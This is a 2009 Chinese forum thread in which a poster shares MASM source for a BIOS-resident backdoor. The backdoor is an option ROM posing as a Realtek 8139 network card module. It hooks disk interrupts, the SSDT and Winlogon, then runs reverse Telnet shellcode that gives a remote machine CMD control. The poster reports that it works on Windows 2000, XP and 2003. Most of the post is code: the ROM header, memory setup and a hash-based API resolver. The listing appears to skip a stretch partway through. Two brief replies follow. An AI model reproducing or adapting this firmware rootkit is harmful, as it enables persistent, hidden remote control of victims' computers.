论坛风格切换
正版合作和侵权请联系 sd173@foxmail.com
 
  • 帖子
  • 日志
  • 用户
  • 版块
  • 群组
帖子
购买邀请后未收到邀请联系sdbeta@qq.com
  • 2359阅读
  • 2回复

[已解决]BIOS中隐藏Telnet后门 [复制链接]

上一主题 下一主题
离线王者
 
发帖
*
今日发帖
最后登录
1970-01-01
只看楼主 倒序阅读 使用道具 楼主  发表于: 2009-10-30 11:12:36
项目简述]
     该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门
在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连
接到指定的计算机接受CMD控制。
[项目涉及的相关知识及技术标题]
    1、实验环境配置问题。
    2、刷新BIOS技术问题。
    3、代码植入BIOS问题。
    4、源代码的相关问题:
       A、如何编写BIOS模块如:PCI、ISA。
       B、实模式关于HOOK磁盘中断的问题。
       C、磁盘中断中选择再次HOOK的问题。
       D、NT保护模式下设置物理地址映射。
       E、NT保护模式下线性地址寻址问题。
       F、HOOK KeAddSystemServiceTable。
       G、HOOK NtUserRegisterClassExWOW。
       H、HOOK Winlogon SASWndProc过程。
       I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
    5、源代码的其他技术:
       A、IVThook InLineHook  SSDT Hook
       B、SEH  PE  PEB  TIB
       C、Hash SharedUserData CheckSum
    6、......
以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

   调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装

   win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.
;*****************************************************************************************************************************************ROM_IMAGE_SIZE    equ 4                                         ;整个模块大小单位KB,固定大小4KB.
CSL_KERNEL_DEST    equ 0FFDF0800h                                ;SharedUserData数据结构线性地址.
CSL_USER_BACKDOOR    equ 07FFE0800h                                ;SharedUserData数据结构线性地址.
;*****************************************************************************************************************************************RealCode segment use16                          
Code16Start:
;*****************************************************************************************************************************************      org     00h                                               ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
      dw      0AA55h                                            ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
      db      ROM_IMAGE_SIZE*2                                  ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
      jmp     MyROMCodeStart                                    ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
      org     06h                                               ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
ReturnOldROM:                                                   ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
      db      0e9h,0,0                                          ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
      db      'CHKSUM=',0                                       ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****    
;*****************************************************************************************************************************************      org     18h                                               ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
      dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
;*****************************************************************************************************************************************MyROMCodeStart:
      pushf
      pushad
      push    es
      push    ds

      sti                                                       ;打开中断,以便接收键盘输入.
      mov     cx,0ffffh                                         ;等待,约为两二秒的按键消息.
      call    WaitPressScrollKey
      .if     !CARRY?                                           ;若按下Scroll Lock键,不运行我们的程序.
;*****************************************************************************************************************************************              xor     ax,ax
              mov     es,ax
              mov     eax,es:[19h*4]
              mov     es:[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.

              mov     bx,es:[413h]                              ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
              and     bl,NOT 3                                  ;注意:要求分配的物理内存地址,以页作为基地址 .
              sub     bx,4                                      
              mov     es:[413h],bx                              
              shl     bx,(10-4)                                 ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
              mov     es,bx                                    
              xor     di,di                                     ;es:di -> 分配的实模式高端内存前半部分开始处.
              
              push    cs
              pop     ds
              call    GetCurrentAddr                            ;offset Code16End = offset Code32Start
              GetCurrentAddr:
              pop     si                                        ;si->GetCurrentAddr在内存的地址
              mov     dx,si
              
              add     si,Code16End - GetCurrentAddr             ;ds:si->Code16End保护模式代码段内存的地址.
              cld
              mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝保护模式代码数据到分配内存的前半部分.
              rep     movsd
              
              add     bx,100h                                  
              mov     es,bx                                    
              xor     di,di                                     ;es:0->分配的实模式高端内存后半部分开始处.
              mov     si,dx
              sub     si,GetCurrentAddr - Code16Start          
   push    ecx
      mov     edx,8885abf2h                                     ;Hash("WaitForSingleObject")=8885abf2h
      call    PEApiHashFind
      call    eax                                               ;WaitForSingleObject(Handle, time)
      mov     esp,ebp
      mov     ebx,edi                                           ;ebx=kernel32基址
      jmp     TelnetShell_Strat                                 ;for another connection  
      ;ret
;*****************************************************************************************************************************************PEApiHashFind:                                                  ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
      xor     eax,eax                  
      pushad
      mov     ecx,[ebx+3Ch]                                     ;ecx = RVA of PE header
      mov     ebp,[ebx+ecx+78h]                                 ;ebp = RVA of export directory
      add     ebp,ebx                                           ;ebp -> ptr to export directory
      mov     ecx,[ebp+18h]                                     ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
      mov     edi,[ebp+20h]                                     ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
      add     edi,ebx
      .while  ecx > 0
              dec     ecx
              mov     esi,[edi+ecx*4]
              add     esi,ebx                                   ;esi->API字符串在内存物理地址.

              push    edx
              .repeat
                      lodsb
                      sub     edx,eax
                      ror     edx,7
              .until  eax == 0                                  ;字符结束
              .if     edx == 0
                  pop    edx
                      .break
              .endif
                pop    edx
      .endw
      .if     ecx > 0
              mov     edx,[ebp+024h]
              add     edx,ebx                                   ;AddressofOrdinals
              mov     cx,[edx+ecx*2]
              mov     eax,[ebp+01ch]
              add     eax,ebx                                   ;AddressOfFunctions      
              add     ebx,[eax+ecx*4]
              mov     [esp+1Ch], ebx                            ;overwrite saved EAX with ptr to export
      .endif
      popad
      ret
;*****************************************************************************************************************************************Code32End:                                                      ;感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
ProtectCode ends                                                ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.
end   Code16Start
1条评分
惊鸿一剑 电魂 +3 继续努力,期待您的下篇杰作 2009-10-30
离线ahyanglf
发帖
*
今日发帖
最后登录
1970-01-01
只看该作者 沙发  发表于: 2009-10-30 11:13:33
宏病毒码?
看看了
离线mr.wei
发帖
*
今日发帖
最后登录
1970-01-01
只看该作者 板凳  发表于: 2009-10-31 13:57:10
看不懂的漂过